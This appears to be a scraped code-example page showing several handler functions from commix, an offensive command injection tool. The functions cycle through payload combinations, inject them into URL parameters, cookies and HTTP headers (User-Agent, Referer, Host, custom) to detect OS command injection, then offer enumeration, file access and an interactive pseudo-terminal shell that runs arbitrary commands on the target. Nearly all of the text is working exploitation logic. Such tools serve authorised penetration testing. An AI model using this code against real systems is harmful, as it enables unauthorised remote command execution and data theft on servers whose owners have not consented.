              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print("")
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print(settings.print_success_msg(success_msg))
            print(settings.SUB_CONTENT_SIGN  + str(checks.url_decode(payload)) + Style.RESET_ALL)
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print("")
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print("")

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print("")
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  file_access_again = _input(settings.print_question_msg(question_msg))
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print("")
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print("")
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print("")

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print("")
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                gotshell = _input(settings.print_question_msg(question_msg))
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print("")
                print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print("")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print(settings.print_critical_msg(err_msg) + "\n")
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print(settings.print_error_msg(err_msg))
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print("")
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 45
0
def cb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "results-based OS command injection"
    technique = "classic command injection technique"

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL >= 1:
            print ""

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)
                        checks.check_for_stored_tamper(payload)

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            # Check for base64 / hex encoding
                            payload = checks.perform_payload_encoding(payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print settings.print_payload(payload)
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating a payload for injection..."
                                print settings.print_info_msg(info_msg)
                                print settings.print_payload(payload)

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, delay)
                            # Evaluate test results.
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
                        success_msg += the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = raw_input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    #print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    file_access_again = sys.stdin.readline(
                                    ).replace("\n", "").lower()
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, delay)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
                            #   if settings.VERBOSITY_LEVEL >= 1:
                            #     print ""
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                gotshell = sys.stdin.readline().replace(
                                    "\n", "").lower()
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "y"
                            if gotshell in settings.CHOICE_YES:
                                if not menu.options.batch:
                                    print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename, technique, go_back,
                                                no_result, delay,
                                                go_back_again)
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, delay)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print ""
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                if settings.VERBOSITY_LEVEL == 1:
                                                    print ""
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print ""
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 46
0
def fb_injection_handler(url, timesec, filename, http_request_method,
                         url_time_response):
    shell = False
    counter = 1
    vp_flag = True
    exit_loops = False
    no_result = True
    is_encoded = False
    stop_injection = False
    call_tmp_based = False
    next_attack_vector = False
    export_injection_info = False
    injection_type = "semi-blind command injection"
    technique = "file-based command injection technique"

    tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
                              url_time_response)

    if not settings.LOAD_SESSION or settings.RETEST == True:
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
        info_msg = "Trying to create a file in '" + settings.WEB_ROOT
        info_msg += "' for command execution results. "
        print(settings.print_info_msg(info_msg))

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    # Check if defined alter shell
    alter_shell = menu.options.alter_shell
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:

                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION:
                        try:
                            settings.FILE_BASED_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                            OUTPUT_TEXTFILE = TAG + ".txt"
                            session_handler.notification(
                                url, technique, injection_type)
                            if technique == "tempfile-based injection technique":
                                #settings.LOAD_SESSION = True
                                tfb_handler.exploitation(
                                    url, timesec, filename, tmp_path,
                                    http_request_method, url_time_response)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # The output file for file-based injection technique.
                        OUTPUT_TEXTFILE = TAG + ".txt"
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        try:
                            # File-based decision payload (check if host is vulnerable).
                            if alter_shell:
                                payload = fb_payloads.decision_alter_shell(
                                    separator, TAG, OUTPUT_TEXTFILE)
                            else:
                                payload = fb_payloads.decision(
                                    separator, TAG, OUTPUT_TEXTFILE)

                            # Check if defined "--prefix" option.
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = payload.replace(" ", whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                payload_msg = payload.replace("\n", "\\n")
                                print(settings.print_payload(payload_msg))
                            # Check if defined "--verbose" option.
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating payload for the injection..."
                                print(settings.print_info_msg(info_msg))
                                print(settings.print_payload(payload))

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = fb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP Header Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = fb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP Header Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to Referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = fb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP Header Injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to Host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = fb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom HTTP header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = fb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = fb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Find the directory.
                            output = fb_injector.injection_output(
                                url, OUTPUT_TEXTFILE, timesec)
                            time.sleep(timesec)

                            try:

                                # Check if defined extra headers.
                                request = _urllib.request.Request(output)
                                headers.do_check(request)

                                # Evaluate test results.
                                output = _urllib.request.urlopen(request)
                                html_data = output.read()
                                shell = re.findall(r"" + TAG + "", html_data)

                                if len(shell) != 0 and shell[
                                        0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                                    percent = settings.SUCCESS_MSG
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "." + "" + percent + ""
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if len(shell) == 0:
                                    raise _urllib.error.HTTPError(
                                        url, 404, 'Error', {}, None)

                            except _urllib.error.HTTPError as e:
                                if str(e.getcode()
                                       ) == settings.NOT_FOUND_ERROR:
                                    percent = ((i * 100) / total)
                                    float_percent = "{0:.1f}".format(
                                        round(((i * 100) / (total * 1.0)), 2))

                                    if call_tmp_based == True:
                                        exit_loops = True
                                        tmp_path = os.path.split(
                                            menu.options.file_dest)[0] + "/"
                                        tfb_controller(no_result, url, timesec,
                                                       filename, tmp_path,
                                                       http_request_method,
                                                       url_time_response)
                                        raise

                                    # Show an error message, after N failed tries.
                                    # Use the "/tmp/" directory for tempfile-based technique.
                                    elif i == int(menu.options.failed_tries
                                                  ) and no_result == True:
                                        tmp_path = check_tmp_path(
                                            url, timesec, filename,
                                            http_request_method,
                                            url_time_response)
                                        warn_msg = "It seems that you don't have permissions to "
                                        warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
                                        sys.stdout.write(
                                            "\r" + settings.print_warning_msg(
                                                warn_msg))
                                        print("")
                                        while True:
                                            if not menu.options.batch:
                                                question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
                                                tmp_upload = _input(
                                                    settings.
                                                    print_question_msg(
                                                        question_msg))
                                            else:
                                                tmp_upload = ""
                                            if len(tmp_upload) == 0:
                                                tmp_upload = "y"
                                            if tmp_upload in settings.CHOICE_YES:
                                                exit_loops = True
                                                settings.TEMPFILE_BASED_STATE = True
                                                call_tfb = tfb_controller(
                                                    no_result, url, timesec,
                                                    filename, tmp_path,
                                                    http_request_method,
                                                    url_time_response)
                                                if call_tfb != False:
                                                    return True
                                                else:
                                                    if no_result == True:
                                                        return False
                                                    else:
                                                        return True
                                            elif tmp_upload in settings.CHOICE_NO:
                                                break
                                            elif tmp_upload in settings.CHOICE_QUIT:
                                                print("")
                                                raise
                                            else:
                                                err_msg = "'" + tmp_upload + "' is not a valid answer."
                                                print(
                                                    settings.print_error_msg(
                                                        err_msg))
                                                pass
                                        continue

                                    else:
                                        if exit_loops == False:
                                            if not settings.VERBOSITY_LEVEL >= 1:
                                                if str(float_percent
                                                       ) == "100.0":
                                                    if no_result == True:
                                                        percent = settings.FAIL_STATUS
                                                    else:
                                                        percent = ".. (" + str(
                                                            float_percent
                                                        ) + "%)"
                                                else:
                                                    percent = ".. (" + str(
                                                        float_percent) + "%)"

                                                info_msg = "Testing the " + "(" + injection_type.split(
                                                    " "
                                                )[0] + ") " + technique + "." + "" + percent + ""
                                                sys.stdout.write(
                                                    "\r" +
                                                    settings.print_info_msg(
                                                        info_msg))
                                                sys.stdout.flush()
                                                continue
                                            else:
                                                continue
                                        else:
                                            raise

                                elif str(e.getcode()
                                         ) == settings.UNAUTHORIZED_ERROR:
                                    err_msg = "Authorization required!"
                                    print(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    raise SystemExit()

                                elif str(e.getcode()
                                         ) == settings.FORBIDDEN_ERROR:
                                    err_msg = "You don't have permission to access this page."
                                    print(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    raise SystemExit()

                        except KeyboardInterrupt:
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise

                        except SystemExit:
                            if 'vuln_parameter' in locals():
                                # Delete previous shell (text) files (output)
                                delete_previous_shell(
                                    separator, payload, TAG, prefix, suffix,
                                    whitespace, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                            raise

                        except _urllib.error.URLError as e:
                            warn_msg = "It seems that you don't have permissions to "
                            warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
                            sys.stdout.write(
                                "\r" + settings.print_warning_msg(warn_msg))
                            err_msg = str(e).replace(": ", " (") + ")."
                            if menu.options.verbose > 1:
                                print("")
                            print(settings.print_critical_msg(err_msg))
                            # Provide custom server's root directory.
